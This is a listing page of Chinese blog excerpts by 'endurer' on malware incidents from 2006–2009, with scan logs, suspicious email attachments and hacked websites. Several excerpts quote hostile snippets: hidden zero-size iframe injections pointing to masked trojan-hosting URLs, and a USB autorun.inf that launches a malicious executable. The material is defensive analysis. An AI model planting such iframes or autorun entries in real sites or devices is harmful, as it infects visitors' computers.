其他

廣西某邦農業股份有限公司網站被掛馬Trojan-PSW.Win32.QQPass.ahe / Trojan.PSW.Win32.QQPass.qprendurer 原創2007-11-06 第1版開啟該公司網站時，Kaspersky 報告：/---已檢測到: 木馬程式 Trojan-Downloader.VBS.Small.ca URL: hxxp://user**.free***2.7*71*69.net/ayayxi/hz2.htm已檢測到: 惡意程式

endurer　原創2006-09-27 第1版一位網友的電腦，這兩天瑞星開機掃描總報告發現 Backdoor.Gpigeon.uql。 到 http://endurer.ys168.com 下載 HijackThis 掃描log，發現如下可疑項：/-----------HijackThis_zww漢化版掃描日誌 V1.99.1作業系統：Windows XP SP2 (WinNT 5.01.2600)瀏覽器：Internet Explorer v6.00 SP2 (6.00.2900.2180)

endurer　原創2006-09-26　第1版 QQ自動發送的資訊為：/-------看看我最近的照片~~~ 才掃描到Q-Zone空間上的。是不是有點太露了?

sichost.exe,winxphelp.exe,360up.exe,RavNT.exe,Counter.exe,login.jpg.exe等2endurer 原創2008-07-11 第1版運行 bat_do，輸入並執行命令：D:/tools>dir c:/ /ad /od磁碟機 C 中的卷沒有標籤。卷的序號是 1513-33FE c:/ 的目錄2000-07-08  13:57    <DIR>          55029212000-07-08  14:00    &

收到一封附件帶Trojan-PSW.Win32.Magania.ibs/Packer.Win32.Mian007.a的郵件endurer 原創2008-03-30 第1版郵件主題：小小寵物大集合...那支秋田好口愛ㄛ郵件內文：希望大家看了都有好心情郵件附件:胐棟.cmd檔案說明符 : D:/test/胐棟.cmd屬性 : A---擷取檔案版本資訊大小失敗!建立時間 : 2008-3-30 8:34:15修改時間 : 2008-3-30 8:34:55訪問時間 : 2008-3-30 8:42:4

又見winforms.dll,LYLoadbr.exe,LYLeador.exe,mydata.exe,CnsM.dll等一位網友說他的電腦在使用瑞星查殺出幾百個病毒後，系統反應速度仍然比較慢，CPU使用率有時達100%。請偶幫忙檢修。使用 pe_xscan 掃描 log 並分析，發現如下可疑項：/===pe_xscan 08-01-16 by Purple Endurer2008-1-16 14:0:1Windows XP Service Pack

用微軟官網線上密碼強度測試載入器看看你的密碼是否強壯開啟網址：http://www.microsoft.com/protect/yourself/password/checker.mspx在Password:後的文字框中輸入要測試的密碼稍後在Strength:後會顯示出密碼強度層級密碼強度有四個層級，由低至高依次為：Weak（紅色）、Medium（黃色）、Strong（綠色）、BEST（綠色）一個強壯的密碼應有14個字元或更長，包括大小字母，數字和符號的組合。如何建立和使用強壯的密碼？請看：St

Rootkit.Win32.KernelBot,RootKit.Win32.Mnless,Trojan.Win32.Patched,Backdoor.Win32.RWX等1endurer 原創2008-07-14 第1版一位朋友最近電腦反應很慢，而且使用QQ時總提示需要啟用，懷疑電腦中了盜號木馬，請偶幫忙檢修。下載 pe_xscan 並運行，用工作管理員終止explorer.exe進程後，掃描log並分析，發現如下可疑項：pe_xscan 08-07-01 by Purple Endurer 2

強行推薦FireFox的Adware.Win32.Admoke.fg、RootKit.Win32.Mnless.ft等endurer 原創2008-01-25 第1版前幾天，一位網友說最近他的電腦中的金山毒霸天天報告發現病毒，而且IE出現與遭遇sqmapi32.dll,kvmxfma.dll,rarjdpi.dll,google.dll,a0b1.dll等

一個記憶棒居然帶5個病毒檔案endurer  原創2008-04-01 第1版在同事拿來的記憶棒中發現的~H:/autorun.inf/---[AutoRun]open=RavMon.exeshell/open=開啟(&O)shell/open/Command=RavMon.exeshell/explore=資源管理員(&X)shell/explore/Command="RavMon.exe -e"---/檔案說明符 : H:/auto.exe屬性 : --H-語言 :

 Rootkit.Win32.KernelBot,RootKit.Win32.Mnless,Trojan.Win32.Patched,Backdoor.Win32.RWX等2endurer 原創2008-07-16 第1版（續1）log中的一些項目與 sichost.exe,winxphelp.exe,360up.exe,RavNT.exe,Counter.exe,login.jpg.exe等一文中的相似。而且C:/WINDOWS/System32/lsass.exe

X天科技有限公司網站掛馬Trojan.DL.Win32.Mnless/Win32.Losabelendurer 原創2008-06-01 第1版網站包含代碼：/---＜iframe src="hxxp://he*i*dian*.go2.i**cp*c*n.com/wo/tzd.htm" name="zhu" width="0"height="0" frameborder="0"＞---/hxxp://he*i*dian*.go2.i**cp*c*n.com/wo/tzd.htm 是個以

感染explorer.exe,使用映像劫持,ShellExecHook…的AV殺手GRHSGIH.EXE2endurer 原創2008-01-20 第1版從pe_xscan 的

某職業指導網被掛Trojan.Win32.KillAV,Trojan.PSW.Win32.QQPass,RootKit.Win32.Mnless等endurer 原創2008-04-03 第1版網站頁麵包含代碼：/---＜iframe src="hxxp://www.t**-t**o*u*.cn/ping.html" width="0" height="0" frameborder="0"＞＜/iframe＞---/#1 hxxp://www.t**-t**o*u*.cn/ping.html

某網站掛Trojan-Downloader.SWF.Small利用flash漏洞傳播Trojan-Downloader.Win32.Smallendurer 原創2008-06-02 第1版該網站包含代碼：/---＜iframe src=hxxp://www.m**m*e*x*e**.com/alexa.html width=0 height=0＞＜/iframe＞---/#1 hxxp://www.m**m*e*x*e**.com/alexa.html 內容為：/---＜script

收到一個標題為“好東西”的可疑電子郵件/Trojan-PSW.Win32.Magania.dsgendurer 原創2008-02-01 補充 Kaspersky 的反應已檢測到: 木馬程式 Trojan-PSW.Win32.Magania.dsg 檔案: D:/test/指令碼.zip/指令碼.cmd/data.rar/41.sfx.exe/data.rar/41.exe2008-01-25 第1版突然收到一位久未聯絡的網友的電子郵件。郵件標題為：好東西郵件內文為：給你看個好東西,要的話速回@

再見avwgdmn.dll,LYLoadbr.exe,LYLoadar.exe,LYLoador.exe等endurer 原創2007-11-03 第1版昨晚，一位網友說他的電腦中的瑞星提示並清除了一些病毒，心裡不太放心，讓偶再幫忙檢查。把 pe_xscan 傳給他掃描 log傳回來分析，在 log 發現如下可疑啟動項：/=====pe_xscan 07-08-30 by Purple Endurer2007-11-2 22:31:37Windows XP Service Pack 2(5.1.

某夏露官方網傳播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjpendurer 原創2008-04-09 第1版該網站首頁 包含代碼：/---＜iframe src=hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918 width=0 height=0＞＜/iframe＞---/#1 hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918

The real solution to malware現實的惡意軟體解決方案Author: Chad Perrin作者：Chad Perrin 翻譯：endurer，2009-09-24 第2版 Category: Malware, Policy, Privacy, Security分類：惡意軟體，策略，隱私，安全來源：http://blogs.techrepublic.com.com/security/?p=1561&tag=nl.e101 The solution to

RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp 的一點分析endurer 原創2008-04-10 第1版就是某夏露官方網傳播的東東。某夏露官方網傳播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent http://endurer.bokee.com/6681893.htmlhttp://blog.csdn.net/Purpleendurer/archive/2008/04/